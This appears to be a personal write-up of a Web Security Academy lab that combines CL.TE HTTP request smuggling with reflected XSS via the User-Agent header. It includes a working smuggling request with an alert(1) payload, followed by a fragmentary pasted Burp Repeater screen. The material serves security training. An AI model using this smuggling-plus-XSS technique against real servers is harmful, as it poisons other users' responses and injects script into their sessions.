

# Lab: Exploiting HTTP request smuggling to deliver reflected XSS

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes `alert(1)`.

## Starting with the Academy template again.

I noticed on repeater, clicking on the little gear icon allows you to set the content length for that particular request. Upon set up, and where the front end server doesn't do chunked encoding, you can set the content-length, saves a bit of hassle manually working it out.

```
POST / HTTP/1.1
Host: 0ac7008404a584a5c0d0475a00e50034.web-security-academy.net
Cookie: session=KVuN2xKJhKZlIT5nJC7p7yeANupwfBrg
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Transfer-Encoding: chunked


0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
```

I set up two tabs, one attacker and one victim - this seems to work well.

Attacker × Victim × +

Send



Cancel

< ▾

> ▾

### Request

Pretty

Raw

Hex

Hackvertor

1

GET / HTTP/1.1

2

Host: 0ac7008404a584a5c0d0475a00e50034

3

Sec-Ch-Ua: "Not;A=Brand";v="99", "Chrom

4

Sec-Ch-Ua-Mobile: ?0

5

Sec-Ch-Ua-Platform: "Windows"

6

Upgrade-Insecure-Requests: 1

7

User-Agent: Mozilla/5.0 (Windows NT 10

8

Accept:

9

text/html,application/xhtml+xml,application/javascript;q=0.9

10

Sec-Fetch-Site: none

11

Sec-Fetch-Mode: navigate

12

Sec-Fetch-User: ?1

13

Sec-Fetch-Dest: document

14

Accept-Encoding: gzip, deflate

15

Accept-Language: en-US,en;q=0.9

16

Connection: close

17